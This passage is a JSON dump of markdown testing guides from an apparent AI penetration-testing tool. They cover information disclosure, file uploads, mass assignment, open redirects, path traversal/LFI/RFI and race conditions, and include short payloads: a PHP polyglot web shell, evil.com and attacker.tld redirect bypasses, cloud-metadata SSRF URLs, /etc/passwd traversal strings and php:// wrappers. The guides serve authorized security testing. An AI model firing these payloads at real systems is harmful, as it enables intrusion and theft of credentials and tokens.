DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud)\n- Keys → cloud control plane access\n\n### Version to CVE\n1. Derive precise component versions from headers/errors/bundles\n2. Map to known CVEs and confirm reachability\n3. Execute minimal proof targeting disclosed component\n\n### Path Disclosure to LFI\n1. Paths from stack traces/templates reveal filesystem layout\n2. Use LFI/traversal to fetch config/keys\n\n### Schema to Auth Bypass\n1. Schema reveals hidden fields/endpoints\n2. Attempt requests with those fields; confirm missing authorization\n\n## Testing Methodology\n\n1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN\n2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers\n3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types\n4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs\n5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass\n\n## Validation\n\n1. Provide raw evidence (headers/body/artifact) and explain exact data revealed\n2. Determine intent: cross-check docs/UX; classify per triage rubric\n3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain\n4. Show reproducibility and minimal request set\n5. Bound scope (user, tenant, environment) and data sensitivity classification\n\n## False Positives\n\n- Intentional public docs or non-sensitive metadata with no exploit path\n- Generic errors with no actionable details\n- Redacted fields that do not change differential oracles\n- Version banners with no exposed vulnerable surface and no chain\n- Owner-visible-only details that do not cross identity/tenant boundaries\n\n## Impact\n\n- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths\n- Credential/secret exposure leading to persistent external compromise\n- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs\n- Privacy/regulatory violations and business intelligence leakage\n\n## Pro Tips\n\n1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins\n2. Normalize responses and diff by digest to reduce noise when comparing roles\n3. Hunt source maps and client data JSON; they often carry internal IDs and flags\n4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant\n5. Treat introspection and reflection as configuration findings across GraphQL/gRPC\n6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups\n7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible\n\n## Summary\n\nInformation disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/insecure_file_uploads.md",
    "content": "---\nname: insecure-file-uploads\ndescription: File upload security testing covering extension bypass, content-type manipulation, and path traversal\n---\n\n# Insecure File Uploads\n\nUpload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.\n\n## Attack Surface\n\n- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)\n- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)\n- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments\n- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails\n\n## Reconnaissance\n\n### Surface Map\n\n- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template\n- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control\n- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late\n- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions\n\n### Capability Probes\n\n- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download\n- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing\n- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?\n- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules\n\n## Detection Channels\n\n### Server Execution\n\n- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution\n- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)\n\n### Client Execution\n\n- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers\n\n### Header and Render\n\n- Missing X-Content-Type-Options: nosniff enabling browser sniff to script\n- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment\n\n### Process Side Effects\n\n- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning\n\n## Core Payloads\n\n### Web Shells and Configs\n\n- PHP: GIF polyglot (starts with GIF89a) followed by `<?php echo 1; ?>`; place where PHP is executed\n- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM\n- ASP/JSP equivalents where supported; IIS web.config to enable script execution\n\n### Stored XSS\n\n- SVG with onload/onerror handlers served as image/svg+xml or text/html\n- HTML file with script when served as text/html or sniffed due to missing nosniff\n\n### MIME Magic Polyglots\n\n- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr\n- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone\n\n### Archive Attacks\n\n- Zip Slip: entries with `../../` to escape extraction dir; symlink-in-zip pointing outside target; nested zips\n- Zip bomb: extreme compression ratios to exhaust resources in processors\n\n### Toolchain Exploits\n\n- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files\n- Ghostscript in PDF/PS with file operators (%pipe%)\n- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields\n\n### Cloud Storage Vectors\n\n- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering\n- Public-read ACL or permissive bucket policies expose uploads broadly\n- Object key injection via user-controlled path prefixes\n- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers\n\n## Advanced Techniques\n\n### Resumable Multipart\n\n- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)\n- Upload benign chunks, then swap last chunk or complete with different source\n\n### Filename and Path\n\n- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators\n- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files\n\n### Processing Races\n\n- Request file immediately after upload but before AV/CDR completes\n- Trigger heavy conversions (large images, deep PDFs) to widen race windows\n\n### Metadata Abuse\n\n- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws\n- Payloads in document properties of Office/PDF rendered by previewers\n\n### Header Manipulation\n\n- Force inline rendering with Content-Type + inline Content-Disposition\n- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition\n\n## Bypass Techniques\n\n### Validation Gaps\n\n- Client-side only checks; relying on JS/MIME provided by browser\n- Trusting multipart boundary part headers blindly\n- Extension allowlists without server-side content inspection\n\n### Evasion Tricks\n\n- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix\n- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence\n\n## Special Contexts\n\n### Rich Text Editors\n\n- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers\n\n### Mobile Clients\n\n- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations\n\n### Serverless and CDN\n\n- Direct-to-bucket uploads with Lambda/Workers post-processing; verify security decisions are not delegated to frontends\n- CDN caching of uploaded content; ensure correct cache keys and headers\n\n## Testing Methodology\n\n1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur\n2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content\n3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads\n4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure\n5. **Validate execution** - Can uploaded content execute on server or client?\n\n## Validation\n\n1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed\n2. Show filter bypass: upload accepted despite restrictions with evidence on retrieval\n3. Prove header weaknesses: inline rendering without nosniff or missing attachment\n4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory\n5. Provide reproducible steps: request/response for upload and subsequent access\n\n## False Positives\n\n- Upload stored but never served back; or always served as attachment with strict nosniff\n- Converters run in locked-down sandboxes with no external IO and no script engines\n- AV/CDR blocks the payload and quarantines; access before scan is impossible by design\n\n## Impact\n\n- Remote code execution on application stack or media toolchain host\n- Persistent cross-site scripting and session/token exfiltration via served uploads\n- Malware distribution via public storage/CDN; brand/reputation damage\n- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs\n\n## Pro Tips\n\n1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant\n2. Always capture download response headers and final MIME; that decides browser behavior\n3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than complex sanitization\n4. In presigned flows, constrain all headers and object keys server-side\n5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal\n6. Test finalize/complete steps in resumable flows; many validations only run on init\n7. Verify background processors with EICAR and tiny polyglots\n8. When you cannot get execution, aim for stored XSS or header-driven script execution\n9. Validate that CDNs honor attachment/nosniff\n10. Document full pipeline behavior per asset type\n\n## Summary\n\nSecure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/mass_assignment.md",
    "content": "---\nname: mass-assignment\ndescription: Mass assignment testing for unauthorized field binding and privilege escalation via API parameters\n---\n\n# Mass Assignment\n\nMass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.\n\n## Attack Surface\n\n- REST/JSON, GraphQL inputs, form-encoded and multipart bodies\n- Model binding in controllers/resolvers; ORM create/update helpers\n- Writable nested relations, sparse/patch updates, bulk endpoints\n\n## Reconnaissance\n\n### Surface Map\n\n- Controllers with automatic binding (e.g., request.json → model)\n- GraphQL input types mirroring models; admin/staff tools exposed via API\n- OpenAPI/GraphQL schemas: uncover hidden fields or enums\n- Client bundles and mobile apps: inspect forms and mutation payloads for field names\n\n### Parameter Strategies\n\n- Flat fields: `isAdmin`, `role`, `roles[]`, `permissions[]`, `status`, `plan`, `tier`, `premium`, `verified`, `emailVerified`\n- Ownership/tenancy: `userId`, `ownerId`, `accountId`, `organizationId`, `tenantId`, `workspaceId`\n- Limits/quotas: `usageLimit`, `seatCount`, `maxProjects`, `creditBalance`\n- Feature flags/gates: `features`, `flags`, `betaAccess`, `allowImpersonation`\n- Billing: `price`, `amount`, `currency`, `prorate`, `nextInvoice`, `trialEnd`\n\n### Shape Variants\n\n- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys\n- Dot/bracket paths: `profile.role`, `profile[role]`, `settings[roles][]`\n- Duplicate keys and precedence: `{\"role\":\"user\",\"role\":\"admin\"}`\n- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths\n\n### Encodings and Channels\n\n- Content-types: `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain`\n- GraphQL: add suspicious fields to input objects; overfetch response to detect changes\n- Batch/bulk: arrays of objects; verify per-item allowlists not skipped\n\n## Key Vulnerabilities\n\n### Privilege Escalation\n\n- Set role/isAdmin/permissions during signup/profile update\n- Toggle admin/staff flags where exposed\n\n### Ownership Takeover\n\n- Change ownerId/accountId/tenantId to seize resources\n- Move objects across users/tenants\n\n### Feature Gate Bypass\n\n- Enable premium/beta/feature flags via flags/features fields\n- Raise limits/seatCount/quotas\n\n### Billing and Entitlements\n\n- Modify plan/price/prorate/trialEnd or creditBalance\n- Bypass server recomputation\n\n### Nested and Relation Writes\n\n- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller's scope\n\n## Advanced Techniques\n\n### GraphQL Specific\n\n- Field-level authz missing on input types: attempt forbidden fields in mutation inputs\n- Combine with aliasing/batching to compare effects\n- Use fragments to overfetch changed fields immediately after mutation\n\n### ORM Framework Edges\n\n- **Rails**: strong parameters misconfig or deep nesting via `accepts_nested_attributes_for`\n- **Laravel**: $fillable/$guarded misuses; `guarded=[]` opens all; casts mutating hidden fields\n- **Django REST Framework**: writable nested serializer, read_only/extra_kwargs gaps, partial updates\n- **Mongoose/Prisma**: schema paths not filtered; `select:false` doesn't prevent writes; upsert defaults\n\n### Parser and Validator Gaps\n\n- Validators run post-bind and do not cover extra fields\n- Unknown fields silently dropped in response but persisted underneath\n- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline\n\n## Bypass Techniques\n\n### Content-Type Switching\n\n- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one\n\n### Key Path Variants\n\n- Dot/bracket/object re-shaping to reach nested fields through different binders\n\n### Batch Paths\n\n- Per-item checks skipped in bulk operations\n- Insert a single malicious object within a large batch\n\n### Race and Reorder\n\n- Race two updates: first sets forbidden field, second normalizes\n- Final state may retain forbidden change\n\n## Testing Methodology\n\n1. **Identify endpoints** - Create/update endpoints and GraphQL mutations\n2. **Capture responses** - Observe returned fields to build candidate list\n3. **Build sensitive-field dictionary** - Per resource: role, isAdmin, ownerId, status, plan, limits, flags\n4. **Inject candidates** - Alongside legitimate updates across transports and encodings\n5. **Compare state** - Before/after diffs across roles\n6. **Test variations** - Nested objects, arrays, alternative shapes, duplicate keys, batch operations\n\n## Validation\n\n1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller\n2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value\n3. Demonstrate consistency across at least two encodings or channels\n4. For nested/bulk, show that protected fields are written within child objects or array elements\n5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility\n\n## False Positives\n\n- Server recomputes derived fields (plan/price/role) ignoring client input\n- Fields marked read-only and enforced consistently across encodings\n- Only UI-side changes with no persisted effect\n\n## Impact\n\n- Privilege escalation and admin feature access\n- Cross-tenant or cross-account resource takeover\n- Financial/billing manipulation and quota abuse\n- Policy/approval bypass by toggling verification or status flags\n\n## Pro Tips\n\n1. Build a sensitive-field dictionary per resource and fuzz systematically\n2. Always try alternate shapes and encodings; many validators are shape/CT-specific\n3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields\n4. Inspect SDKs/mobile apps for hidden field names and nested write examples\n5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects\n\n## Summary\n\nMass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/open_redirect.md",
    "content": "---\nname: open-redirect\ndescription: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass\n---\n\n# Open Redirect\n\nOpen redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.\n\n## Attack Surface\n\n**Server-Driven Redirects**\n- HTTP 3xx Location\n\n**Client-Driven Redirects**\n- `window.location`, meta refresh, SPA routers\n\n**OAuth/OIDC/SAML Flows**\n- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next`\n\n**Multi-Hop Chains**\n- Only first hop validated\n\n## High-Value Targets\n\n- Login/logout, password reset, SSO/OAuth flows\n- Payment gateways, email links, invite/verification\n- Unsubscribe, language/locale switches\n- `/out` or `/r` redirectors\n\n## Reconnaissance\n\n### Injection Points\n\n- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u`\n- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state`\n- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open`\n- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo\n\n### Parser Differentials\n\n**Userinfo**\n- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com\n- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com`\n\n**Backslash and Slashes**\n- `https://trusted.com\\evil.com`, `https://trusted.com\\@evil.com`, `///evil.com`, `/\\evil.com`\n\n**Whitespace and Control**\n- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com`\n\n**Fragment and Query**\n- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com`\n\n**Unicode and IDNA**\n- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot\n\n### Encoding Bypasses\n\n- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com`\n- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com`\n- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]`\n- User-controlled path bases: `/out?url=/\\evil.com`\n\n## Key Vulnerabilities\n\n### Allowlist Evasion\n\n**Common Mistakes**\n- Substring/regex contains checks: allows `trusted.com.evil.com`\n- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net`\n- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted\n- Case/IDN drift between validator and browser\n\n**Robust Validation**\n- Canonicalize with a single modern URL parser (WHATWG URL)\n- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes\n- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes\n\n### OAuth/OIDC/SAML\n\n**Redirect URI Abuse**\n- Using an open redirect on a trusted domain for redirect_uri enables code interception\n- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com`\n- Path traversal/canonicalization: `/oauth/../../@evil.com`\n- `post_logout_redirect_uri` often less strictly validated\n\n### Client-Side Vectors\n\n**JavaScript Redirects**\n- `location.href`/`assign`/`replace` using user input\n- Meta refresh `content=0;url=USER_INPUT`\n- SPA routers: `router.push(searchParams.get('next'))`\n\n### Reverse Proxies and Gateways\n\n- Host/X-Forwarded-* may change absolute URL construction\n- CDNs that follow redirects for link checking can leak tokens when chained\n\n### SSRF Chaining\n\n- Server-side fetchers (web previewers, link unfurlers) follow 3xx\n- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)\n\n## Exploitation Scenarios\n\n### OAuth Code Interception\n\n1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb`\n2. IdP sends code to trusted.example which redirects to attacker.tld\n3. Exchange code for tokens; demonstrate account access\n\n### Phishing Flow\n\n1. Send link on trusted domain: `/login?next=https://attacker.tld/fake`\n2. Victim authenticates; browser navigates to attacker page\n3. Capture credentials/tokens via cloned UI\n\n### Internal Evasion\n\n1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data`\n2. Redirect follows to metadata; confirm via timing/headers\n\n## Testing Methodology\n\n1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links\n2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms\n3. **Compare behaviors** - Server-side validation vs browser navigation results\n4. **Multi-hop testing** - Trusted-domain → redirector → external\n5. **Prove impact** - Credential phishing, OAuth code interception, internal egress\n\n## Validation\n\n1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture\n2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants\n3. Test multi-hop: prove only first hop is validated and second hop escapes constraints\n4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint\n\n## False Positives\n\n- Redirects constrained to relative same-origin paths with robust normalization\n- Exact pre-registered OAuth redirect_uri with strict verifier\n- Validators using a single canonical parser and comparing post-IDNA host and scheme\n- User prompts that show the exact final destination before navigating\n\n## Impact\n\n- Credential and token theft via phishing and OAuth/OIDC interception\n- Internal data exposure when server fetchers follow redirects\n- Policy bypass where allowlists are enforced only on the first hop\n- Cross-application trust erosion and brand abuse\n\n## Pro Tips\n\n1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses\n2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early\n3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser\n4. Exercise multi-hop across distinct subdomains and paths\n5. For SSRF chaining, target services known to follow redirects\n6. Favor allowlists of exact origins plus optional path prefixes\n7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)\n\n## Summary\n\nRedirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/path_traversal_lfi_rfi.md",
    "content": "---\nname: path-traversal-lfi-rfi\ndescription: Path traversal and file inclusion testing for local/remote file access and code execution\n---\n\n# Path Traversal / LFI / RFI\n\nImproper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.\n\n## Attack Surface\n\n**Path Traversal**\n- Read files outside intended roots via `../`, encoding, normalization gaps\n\n**Local File Inclusion (LFI)**\n- Include server-side files into interpreters/templates\n\n**Remote File Inclusion (RFI)**\n- Include remote resources (HTTP/FTP/wrappers) for code execution\n\n**Archive Extraction**\n- Zip Slip: write outside target directory upon unzip/untar\n\n**Normalization Mismatches**\n- Server/proxy differences (nginx alias/root, upstream decoders)\n- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams\n\n## High-Value Targets\n\n**Unix**\n- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`\n- SSH keys, cloud creds, service configs/logs\n\n**Windows**\n- `C:\\Windows\\win.ini`, IIS/web.config, programdata configs, application logs\n\n**Application**\n- Source code templates and server-side includes\n- Secrets in env dumps, framework caches\n\n## Reconnaissance\n\n### Surface Map\n\n- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`\n- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters\n- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z\n- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins\n- Reverse proxies and static file servers (nginx, CDN) in front of app handlers\n\n### Capability Probes\n\n- Path traversal baseline: `../../etc/hosts` and `C:\\Windows\\win.ini`\n- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes\n- Normalization tests: `..../`, `..\\\\`, `././`, trailing dot/double dot segments; repeated decoding\n- Absolute path acceptance: `/etc/passwd`, `C:\\Windows\\System32\\drivers\\etc\\hosts`\n- Server mismatch: `/static/..;/../etc/passwd` (\"..;\"), encoded slashes (`%2F`), double-decoding via upstream\n\n## Detection Channels\n\n### Direct\n\n- Response body discloses file content (text, binary, base64)\n- Error pages echo real paths\n\n### Error-Based\n\n- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations\n\n### OAST\n\n- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution\n\n### Side Effects\n\n- Archive extraction writes files unexpectedly outside target\n- Verify with directory listings or follow-up reads\n\n## Key Vulnerabilities\n\n### Path Traversal Bypasses\n\n**Encodings**\n- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities\n\n**Mixed Separators**\n- `/` and `\\\\` on Windows; `//` and `\\\\\\\\` collapse differences across frameworks\n\n**Dot Tricks**\n- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension\n\n**Absolute Path Injection**\n- Bypass joins by supplying a rooted path\n\n**Alias/Root Mismatch**\n- nginx alias without trailing slash with nested location allows `../` to escape\n- Try `/static/../etc/passwd` and \";\" variants (`..;`)\n\n**Upstream vs Backend Decoding**\n- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots\n\n### LFI Wrappers and Techniques\n\n**PHP Wrappers**\n- `php://filter/convert.base64-encode/resource=index.php` (read source)\n- `zip://archive.zip#file.txt`\n- `data://text/plain;base64`\n- `expect://` (if enabled)\n\n**Log/Session Poisoning**\n- Inject PHP/templating payloads into access/error logs or session files then include them\n\n**Upload Temp Names**\n- Include temporary upload files before relocation; race with scanners\n\n**Proc and Caches**\n- `/proc/self/environ` and framework-specific caches for readable secrets\n\n**Legacy Tricks**\n- Null-byte (`%00`) truncation in older stacks; path length truncation\n\n### Template Engines\n\n- PHP include/require; Smarty/Twig/Blade with dynamic template names\n- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines\n- Seek dynamic template resolution from user input (theme/lang/template)\n\n### RFI Conditions\n\n**Requirements**\n- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)\n- Custom fetchers that eval/execute retrieved content\n- SSRF-to-exec bridges\n\n**Protocol Handlers**\n- http, https, ftp; language-specific stream handlers\n\n**Exploitation**\n- Host a minimal payload that proves code execution\n- Prefer OAST beacons or deterministic output over heavy shells\n- Chain with upload or log poisoning when remote includes are disabled\n\n### Archive Extraction (Zip Slip)\n\n- Files within archives containing `../` or absolute paths escape target extract directory\n- Test multiple formats: zip/tar/tgz/7z\n- Verify symlink handling and path canonicalization prior to write\n- Impact: overwrite config/templates or drop webshells into served directories\n\n## Testing Methodology\n\n1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors\n2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations\n3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes\n4. **Compare behaviors** - Web server vs application behavior\n5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)\n\n## Validation\n\n1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control\n2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)\n3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads\n4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)\n5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility\n\n## False Positives\n\n- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)\n- Canonicalized paths constrained to an allowlist/root after normalization\n- Wrappers disabled and includes using constant templates only\n- Archive extractors that sanitize paths and enforce destination directories\n\n## Impact\n\n- Sensitive configuration/source disclosure → credential and key compromise\n- Code execution via inclusion of attacker-controlled content or overwritten templates\n- Persistence via dropped files in served directories; lateral movement via revealed secrets\n- Supply-chain impact when report/template engines execute attacker-influenced files\n\n## Pro Tips\n\n1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise\n2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings\n3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions\n4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains\n5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems\n\n## Summary\n\nEliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/race_conditions.md",
    "content": "---\nname: race-conditions\ndescription: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation\n---\n\n# Race Conditions\n\nConcurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.\n\n## Attack Surface\n\n**Read-Modify-Write**\n- Sequences without atomicity or proper locking\n\n**Multi-Step Operations**\n- Check → reserve → commit with gaps between phases\n\n**Cross-Service Workflows**\n- Sagas, async jobs with eventual consistency\n\n**Rate Limits and Quotas**\n- Controls implemented at the edge only\n\n## High-Value Targets\n\n- Payments: auth/capture/refund/void; credits/loyalty points; gift cards\n- Coupons/discounts: single-use codes, stacking checks, per-user limits\n- Quotas/limits: API usage, inventory reservations, seat counts, vote limits\n- Auth flows: password reset/OTP consumption, session minting, device trust\n- File/object storage: multi-part finalize, version writes, share-link generation\n- Background jobs: export/import create/finalize endpoints; job cancellation/approve\n- GraphQL mutations and batch operations; WebSocket actions\n\n## Reconnaissance\n\n### Identify Race Windows\n\n- Look for explicit sequences: \"check balance then deduct\", \"verify coupon then apply\", \"check inventory then purchase\"\n- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks\n- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)\n- Map cross-service steps: when is state written vs published, what retries/compensations exist\n\n### Signals\n\n- Sequential request fails but parallel succeeds\n- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates\n- Distinct response shapes/timings for simultaneous vs sequential requests\n- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs\n\n## Key Vulnerabilities\n\n### Request Synchronization\n\n- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections\n- Last-byte synchronization: hold requests open and release final byte simultaneously\n- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter\n\n### Idempotency and Dedup Bypass\n\n- Reuse the same idempotency key across different principals/paths if scope is inadequate\n- Hit the endpoint before the idempotency store is written (cache-before-commit windows)\n- App-level dedup drops only the response while side effects (emails/credits) still occur\n\n### Atomicity Gaps\n\n- Lost update: read-modify-write increments without atomic DB statements\n- Partial two-phase workflows: success committed before validation completes\n- Unique checks done outside a unique index/upsert: create duplicates under load\n\n### Cross-Service Races\n\n- Saga/compensation timing gaps: execute compensation without preventing the original success path\n- Eventual consistency windows: act in Service B before Service A's write is visible\n- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers\n\n### Rate Limits and 